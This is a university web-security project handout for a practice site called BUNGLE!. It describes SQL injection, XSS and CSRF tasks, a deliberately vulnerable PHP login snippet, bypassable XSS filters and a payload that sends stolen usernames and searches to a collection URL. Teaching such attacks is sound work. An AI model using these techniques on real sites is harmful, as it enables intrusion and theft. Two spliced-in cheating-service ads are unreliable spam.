COMP 427/541
Intro to Computer Security
February 27, 2023 Project 2: Web Security
Project 2: Web Security
This project is due on March 22, 2023 at 11:59 p.m.. Late submissions are not accepted. We have set the deadline to the first day after spring break. If you have a conflict due to travel, etc., please plan accordingly and turn in your project early. There are some intermediate deadlines. See the grading rubric below. (Part 1 is due early)
This is a group project; you will work in teams of two and submit one project per team. Please find a partner as soon as possible. If you have trouble forming a team, please post to the project discussion in Discord.
The code and other answers your group submits must be entirely your own work, and you are bound by the Honor Code. You may consult with other students about the conceptualization of the project and the meaning of the questions, but you may not look at any part of someone else’s solution or collaborate with anyone outside your group. You may consult published references, provided that you cite them (e.g., with comments in your source code), as you would in an academic paper.
Solutions must be submitted electronically via GitHub. You will visit the following URL and create a private repository using the provided template:
https://classroom.github.com/a/xv-AqdSj
Introduction
In this project, we provide an insecure website, and your job is to attack it by exploiting three common classes of vulnerabilities: SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF). You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.
Objectives
• Learn to spot common vulnerabilities in websites and to avoid them in your own projects.
• Understand the risks these problems pose and the weaknesses of naive defenses.
• Gain experience with web architecture and with HTML, JavaScript, and SQL programming.
Read this First
This project asks you to develop attacks and test them, with our permission, against a target website that we are providing for this purpose. Attempting the same kinds of attacks against other websites without authorization is prohibited by law and may result in fines and jail time. You must not attack any website without authorization! Per the course ethics policy, you are required to respect the privacy and property rights of others at all times, or else you will fail the course. See the “Ethics, Law, and University Policies” section on the course syllabus for more info.
浙大学霸代写 加微信 cstutorcs
Target Website
A startup named BUNGLE! is about to launch its first product—a web search engine—but their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took COMP 427, so the investors have hired you to perform a security evaluation before it goes live.
BUNGLE! is available for you to test at https://comp427.rice.edu/proj2. Note that all URLs you will attack in this project will start with /proj2, and are only on the server https://comp427.rice.edu.
The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places.
In addition to providing search results, the site accepts logins and tracks users’ search histories. It stores usernames, passwords, and search history in a MySQL database.
Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: /, /search, /login, /logout, and /create. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.
Main page (/) The main page accepts GET requests and displays a search form. When submitted, this form issues a GET request to /search, sending the search string as the parameter “q”.
If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues POST requests to /login and /create.
Searchresults(/search) ThesearchresultspageacceptsGETrequestsandprintsthesearchstring, supplied in the “q” query parameter, along with the search results. If the user is logged in, the page also displays the user’s recent search history in a sidebar.
Note: Since actual search is not relevant to this project, you might not receive any results.
Login handler (/login) The login handler accepts POST requests and takes plaintext “username” and “password” query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is not part of this project.
Logout handler (/logout) The logout handler accepts POST requests. It deletes the login cookie, if set, and redirects the browser to the main page.
Create account handler (/create) The create account handler accepts POST requests and re- ceives plaintext “username” and “password” query parameters. It inserts the username and password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.
Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a user that’s unique to you (and identifiable as you to your graders), and a password that other groups will not guess, but never use an important password to test an insecure site!
General Guidelines
Virtual Machine For this project, we’d like you to do all your testing within a provided VM, which can be found at https://comp427.rice.edu/static/proj2/proj2-vm.ova. The password for this VM is project2. If you do not already have VirtualBox, please download it here https:// www.virtualbox.org/wiki/Downloads and import the provided machine. This VM provides Firefox 41 (the browser we will use for grading) and a method for hosting a local HTTPS server (necessary for Part 2). Browser versions have slight variations in their behavior that may affect your XSS and CSRF attacks, so we highly recommend that you develop and test your solutions within the VM. As you might imagine, newer browsers are constantly working on improving their security, so setting you up with a stable, older version of the browser, ensures that the attacks you’re developing will actually work. You can definitely try out some of the attacks with you own computer and browser (they will work), but be prepared to fail on some other targets.
For those of you with M1 Macs, VirtualBox can now run on M1 chip with developer preview edition. Try that option and see if it works for you. If not, message a TA for help.
Defense Levels The Bunglers have been experimenting with some naïve defenses, so you also need to demonstrate that these provide insufficient protection. In Parts 2 and 3, the site includes drop-down menus at the top of each page that let you change the CSRF and XSS defenses that are in use. The solutions you submit must override these selections by including the csrfdefense=n or xssdefense=n parameter in the target URL, as specified in each task below. You may not attempt to subvert the mechanism for changing the level of defense in your attacks. Be sure to test your solutions with the appropriate defense levels!
In all parts, you should implement the simplest attack you can think of that defeats the given set of de- fenses. In other words, do not simply attack the highest level of defense and submit that attack as your solution for all defenses. You do not need to combine the vulnerabilities, unless explicitly stated.
Resources The Firefox web developer tools will be very helpful for this project, particularly the JavaScript console and debugger, DOM inspector, and network monitor. To open these tools, click the Developer button in the Firefox menu. See https://developer.mozilla.org/en-US/docs/Tools. Note that there is also a special version of the browser called Firefox Developer Edition; you’re welcome to use it to develop and test, but we will be grading with the normal edition of Firefox.
Although general purpose tools are permitted, your are not allowed to use tools that are designed to automatically test for vulnerabilities.
Your solutions will involve manipulating SQL statements and writing web code using HTML, JavaScript, and the jQuery library. You should search the web for answers to basic how-to questions. There are many fine online resources for learning these tools. Here are a few that we recommend:
SQL Tutorial
SQL Statement Syntax Introduction to HTML JavaScript 101
Using jQuery Core jQuery API Reference HTTP Made Really Easy
http://sqlzoo.net/wiki/SQL_Tutorial https://dev.mysql.com/doc/refman/5.6/en/sql-syntax.html https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introduction http://webdesignfromscratch.com/html-css/js101/ https://learn.jquery.com/using-jquery-core/
https://api.jquery.com
http://www.jmarshall.com/easy/http/
To learn more about SQL Injection, CSRF, and XSS attacks, and for tips on exploiting them, see:
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
程序代写 CS代考 加QQ: 749389476
Part 1. SQL Injection
Your first goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. In order to protect other students’ accounts, we’ve made a series of separate login forms for you to attack that aren’t part of the main BUNGLE! site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user victim.
Note that your attack must be successful for the username string victim. It might report “Login successful!” for other usernames, but your solution is only correct if you see an additional line on the webpage that says “Submit the following line as your solution:”
1.0 No defenses
Target: https://comp427.rice.edu/proj2/sqlinject0/ Submission: sql_0.txt
1.1 Simple escaping
The server escapes single quotes (‘) in the inputs by replacing them with two single quotes. Target: https://comp427.rice.edu/proj2/sqlinject1/
Submission: sql_1.txt
1.2 Escaping and Hashing
The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password.
if (isset($_POST[‘username’]) and isset($_POST[‘password’])) {
$username = mysql_real_escape_string($_POST[‘username’]);
$password = md5($_POST[‘password’], true);
$sql_s = “SELECT * FROM users WHERE username=’$username’ and pw=’$password'”;
$rs = mysql_query($sql_s);
if (mysql_num_rows($rs) > 0) {
echo “Login successful!”;
echo “Incorrect username or password”;
This is more difficult than the previous two defenses. You will need to write a program to produce a working exploit. You can use any language you like, but make sure you provide appropriate instructions for your graders on how to compile and/or run the code.
Target: https://comp427.rice.edu/proj2/sqlinject2/
Submissions: sql_2.txt, directory with program source sql_2-src/, and documentation for how to run your program sql_2-src/README.md
1.3 The SQL [Extra credit]
This target uses a different database. Your job is to use SQL injection to retrieve:
(a) The name of the database
(b) The version of the SQL server
(c) All of the names of the tables in the database (d) A secret string hidden in the database
Target: https://comp427.rice.edu/proj2/sqlinject3/ Submission: sql_3.txt
For this part, the text file you submit should start with a list of the URLs for all the queries you made to learn the answers. Follow this with the values specified above, using this format:
Name: DB name
Version: DB version string Tables: comma separated names Secret: secret string
What to submit For 1.0, 1.1, and 1.2, when you successfully log in as victim, the server will provide a URL-encoded version of your form inputs. Submit a text file with the specified filename containing only this line. For 1.2, also submit the source code for the program you wrote in the directory sql_2-src/ along with a README.md in that directory with instructions of how to run your program. For 1.3, submit a text file as specified.
Part 2. Cross-site Scripting (XSS)
Your next task is to demonstrate XSS attacks against the BUNGLE! search box, which does not properly filter search terms before echoing them to the results page. For each of the defenses below, your goal is to construct a URL that, when loaded in the logged-in victim’s browser, correctly executes the specified payload. We recommend that you begin by testing with a simple payload (e.g., alert(0);), then move on to the full payload. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses.
The payload (the code that the attack tries to execute) will be to steal the username and the most recent search1 the real user has performed on the BUNGLE! site. When a victim visits the URL you create, these stolen items should be sent to the attacker’s server for collection.
For purposes of grading, your attack should report these events by loading the URL:
https://localhost:31337/stolen?user=username &last_search=last_search
You can test receiving this data within the provided VM by running this command at the shell: $ cd /Documents; python run_server.py
1This is the most recent search executed by the real logged-in user, not the search executed by your attack.
and observing the HTTPS GET request that your payload generates. To further test that your HTTPS server is running, try navigating to https://localhost:31337.
There are five levels of defense. In each case, you should submit the simplest attack you can find that works against that defense; you should not simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL and the filename you should submit.
2.0 No defenses
Target: https://comp427.rice.edu/proj2/search?xssdefense=0 Submission: xss_0.txt
For 2.0 only, also submit a human-readable version of your payload code (as opposed to the form encoded into the URL). Save it in a file named xss_payload.html.
2.1 Remove “script”
filtered = re.sub(r”(?i)script”, “”, input)
Target: https://comp427.rice.edu/proj2/search?xssdefense=1
Submission: xss_1.txt
2.2 Remove several tags
filtered = re.sub(r”(?i)script|